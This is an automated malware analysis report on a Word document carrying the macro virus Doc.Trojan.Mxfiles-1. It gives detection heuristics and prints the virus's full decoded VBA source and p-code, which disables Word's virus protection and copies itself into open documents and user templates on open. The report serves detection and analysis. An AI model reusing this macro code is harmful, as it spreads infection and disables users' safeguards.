MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1505.003 Server Software Component: Exploit Public-Facing Application
T1059 Command and Scripting Interpreter
The sample is a malicious Office document containing a VBA macro named 'Mxfile' with an AutoOpen subroutine. This subroutine is designed to copy itself to other documents and potentially execute shell commands, as indicated by the 'shell' execution token in the heuristics. The macro's obfuscated nature and the presence of multiple Auto* subroutines suggest an attempt to spread and execute further payloads, aligning with common downloader or dropper behaviors.
Heuristics 5
-
ClamAV: Doc.Trojan.Mxfiles-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Mxfiles-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8187 bytes |
SHA-256: 22731f65302d4242255aa80712bca4a8e93c33a5d10a7e6ee1ac5fa84912ab0c |
|||
|
Detection
ClamAV:
Doc.Trojan.Mxfiles-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Mxfile" Sub Autoexit() Mxfiles End Sub Sub Autoexec() Mxfiles End Sub Sub Autonew() Mxfiles End Sub Sub AutoOpen() Mxfiles End Sub Sub Openshell() Mxfiles End Sub Sub Mxfiles() txt = " åÐÇ ÇáÝíÑæÓ ÚÑÖ æÛíÑ ÖÇÑ æßá ãÇíÞæã Èå ßÊÇÈå ÚÈÇÑÉ ßáäÇ äÈÇíÚ ãÈÇÑß" On Error Resume Next Application.ScreenUpdating = False Options.VirusProtection = False Options.SaveNormalPrompt = False Options.ConfirmConversions = False ddorg = ThisDocument.FullName For A = 1 To Documents.Count If Documents.Item(A).Path <> "" Then dest = Documents.Item(A).FullName SetAttr dest, vbNormal Else dest = Documents.Item(A).Name End If If ddorg <> dest Then Application.OrganizerCopy Source:=ddorg, Destination:=dest, Name:="Mxfile", Object:=wdOrganizerObjectProjectItems If Documents.Item(A).Path <> "" Then Documents.Item(A).Save End If End If dd = Documents.Item(A).AttachedTemplate dd1 = Options.DefaultFilePath(Path:=wdUserTemplatesPath) dd2 = dd1 + "\" + dd SetAttr dd2, vbNormal If ddorg <> dd2 Then Application.OrganizerCopy Source:=ddorg, Destination:=dd2, Name:="Mxfile", Object:=wdOrganizerObjectProjectItems End If Next A ff$ = GetSetting(appname:="network", Section:="unix", Key:="mxfile") If Val(ff$) = 255 Then Application.ScreenUpdating = True Exit Sub End If dayn = Format(Date, "dd") Monthn = Format(Date, "mm") reg = dayn Mod Monthn If reg = 0 And dayn > 10 Then If ActiveWindow.ActivePane.View.Type <> wdPageView Then View = ActiveWindow.ActivePane.View.Type ActiveWindow.ActivePane.View.Type = wdPageView End If ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageHeader Selection.EndKey Unit:=wdLine, Extend:=wdExtend Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter Selection.TypeText Text:=right(txt, 16) ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageFooter Selection.EndKey Unit:=wdLine, Extend:=wdExtend Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter Selection.TypeText Text:=right(txt, 16) ActiveWindow.ActivePane.View.SeekView = wdSeekMainDocument ActiveWindow.ActivePane.View.Type = View End If Application.ScreenUpdating = True End Sub ' Processing file: /opt/analyzer/scan_staging/34324bc622f2461083eed4f405eb1ded.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 903 bytes ' Macros/VBA/Mxfile - 4263 bytes ' Line #0: ' FuncDefn (Sub Autoexit()) ' Line #1: ' ArgsCall Mxfiles 0x0000 ' Line #2: ' EndSub ' Line #3: ' FuncDefn (Sub Autoexec()) ' Line #4: ' ArgsCall Mxfiles 0x0000 ' Line #5: ' EndSub ' Line #6: ' FuncDefn (Sub Autonew()) ' Line #7: ' ArgsCall Mxfiles 0x0000 ' Line #8: ' EndSub ' Line #9: ' FuncDefn (Sub AutoOpen()) ' Line #10: ' ArgsCall Mxfiles 0x0000 ' Line #11: ' EndSub ' Line #12: ' FuncDefn (Sub Openshell()) ' Line #13: ' ArgsCall Mxfiles 0x0000 ' Line #14: ' EndSub ' Line #15: ' Line #16: ' FuncDefn (Sub Mxfiles()) ' Line #17: ' LitStr 0x0044 " åÐÇ ÇáÝíÑæÓ ÚÑÖ æÛíÑ ÖÇÑ æßá ãÇíÞæã Èå ßÊÇÈå ÚÈÇÑÉ ßáäÇ äÈÇíÚ ãÈÇÑß" ' St txt ' Line #18: ' OnError (Resume Next) ' Line #19: ' LitVarSpecial (False) ' Ld Application ' MemSt ScreenUpdating ' Line #20: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #21: ' LitVarSpecial (False) ' Ld Options ' MemSt SaveNormalPrompt ' Line #22: ' LitVarSpecial (False) ' Ld Options ' MemSt ConfirmConversions ' Line #23: ' Ld ThisDocument ' MemLd FullName ' St ddorg ' Line #24: ' StartForVariable ' Ld A ' EndForVariable ' LitDI2 0x0001 ' Ld Documents ' MemLd Count ' For ' Line #25: ' Ld A ' Ld Documents ' ArgsMemLd Item 0x0001 ' MemLd Path ' LitStr 0x0000 "" ' Ne ' IfBlock ' Line #26: ' Ld A ' Ld Documents ' ArgsMemLd Item 0x0001 ' MemL ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.